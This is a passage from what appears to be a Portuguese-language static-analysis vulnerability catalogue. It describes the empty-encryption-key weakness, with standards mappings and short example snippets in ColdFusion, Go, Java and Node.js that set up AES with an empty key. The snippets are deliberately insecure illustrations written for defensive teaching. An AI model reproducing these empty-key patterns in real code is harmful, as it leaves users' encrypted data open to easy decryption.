[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[60] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cpp.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
<cfset encryptionKey = "" />
<cfset encryptedMsg = encrypt(msg, encryptionKey, 'AES', 'Hex') />
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.cfml.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código incorreto está em produção, a alteração da chave de criptografia vazia requer um patch de software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
key := []byte("");
block, err := aes.NewCipher(key)
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa que utilizar até mesmo as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o aplicativo é distribuído, a alteração da chave de criptografia vazia requer um patch de software. É possível extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.golang.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
private static String encryptionKey = "";
byte[] keyBytes = encryptionKey.getBytes();
SecretKeySpec key = new SecretKeySpec(keyBytes, "AES");
Cipher encryptCipher = Cipher.getInstance("AES");
encryptCipher.init(Cipher.ENCRYPT_MODE, key);
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[35] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[36] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II, APSC-DV-003100 CAT II, APSC-DV-003310 CAT II
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_encryption_key
Abstract
Chaves de criptografia vazias podem comprometer a segurança de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave de criptografia vazia, pois isso reduz significativamente a proteção conferida por um bom algoritmo de criptografia, além de também tornar a correção do problema extremamente difícil. Depois que o código ofensor estiver em produção, a chave de criptografia vazia não poderá ser alterada sem uma aplicação de patch no software. Se uma conta protegida pela chave de criptografia vazia for comprometida, os proprietários do sistema deverão escolher entre a segurança e a disponibilidade.

Exemplo 1: O código a seguir realiza a criptografia AES usando uma chave de criptografia vazia:


...
var crypto = require('crypto');
var encryptionKey = "";
var algorithm = 'aes-256-ctr';
var cipher = crypto.createCipher(algorithm, encryptionKey);
...


Qualquer pessoa com acesso ao código será capaz de determinar que ele utiliza uma chave de criptografia vazia, mas, pior do que isso, qualquer pessoa com as técnicas mais básicas de cracking terá muito mais chances de descriptografar dados criptografados com sucesso. Depois que o programa for distribuído, é necessário um pacote de software para alterar a chave de criptografia vazia. Um funcionário com acesso a essas informações pode usá-las para invadir o sistema. Mesmo que os invasores só tivessem acesso ao executável do aplicativo, eles poderiam extrair evidências do uso de uma chave de criptografia vazia.
References
[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[8] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450, CCI-002478
[9] Standards Mapping - FIPS200 IA
[10] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[11] Standards Mapping - NIST Special Publication 800-53 Revision 4 IA-5 Authenticator Management (P1), SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1), SC-28 Protection of Information at Rest (P1)
[12] Standards Mapping - NIST Special Publication 800-53 Revision 5 IA-5 Authenticator Management, SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection, SC-28 Protection of Information at Rest
[13] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[16] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[17] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[18] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[19] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[20] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[21] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[22] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
